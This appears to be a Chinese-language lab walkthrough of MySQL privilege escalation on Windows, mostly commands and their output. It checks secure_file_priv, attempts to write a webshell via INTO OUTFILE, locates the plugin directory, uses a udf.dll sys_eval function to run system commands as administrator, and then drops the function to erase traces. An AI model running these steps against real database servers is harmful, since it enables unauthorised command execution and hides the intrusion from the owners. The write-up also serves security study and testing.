在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
可用通过如下命令来查看配置:
show global variables like '%secure_file_priv%';
mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | NULL | +------------------+-------+ 1 row in set, 1 warning (0.00 sec)
接下来写码:网站路径:D:/www
执行如下命令:
select '' into outfile 'D:/www/shell.php';
mysql> select '' into outfile 'D:/www/shell.php'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> show variables like "%plugin%"; +-------------------------------+----------------------------------------------------+ | Variable_name | Value | +-------------------------------+----------------------------------------------------+ | default_authentication_plugin | mysql_native_password | | plugin_dir | D:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ | +-------------------------------+----------------------------------------------------+ 2 rows in set, 1 warning (0.00 sec)
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。
mysql> select * from mysql.func; +----------+-----+---------+----------+ | name | ret | dl | type | +----------+-----+---------+----------+ | sys_eval | 0 | udf.dll | function | +----------+-----+---------+----------+ 1 row in set (0.00 sec)
mysql>
执行系统命令
mysql> select sys_eval('whoami'); +-------------------------------+ | sys_eval('whoami') | +-------------------------------+ | ms-rnhfkwioagyr\administrator | +-------------------------------+ 1 row in set (0.07 sec)
这个地方是SYSTEM才对,应该是我自己的操作系统的原因。。。。
抹除痕迹
#删除自定义函数 mysql> drop function sys_eval; Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func; Empty set (0.00 sec)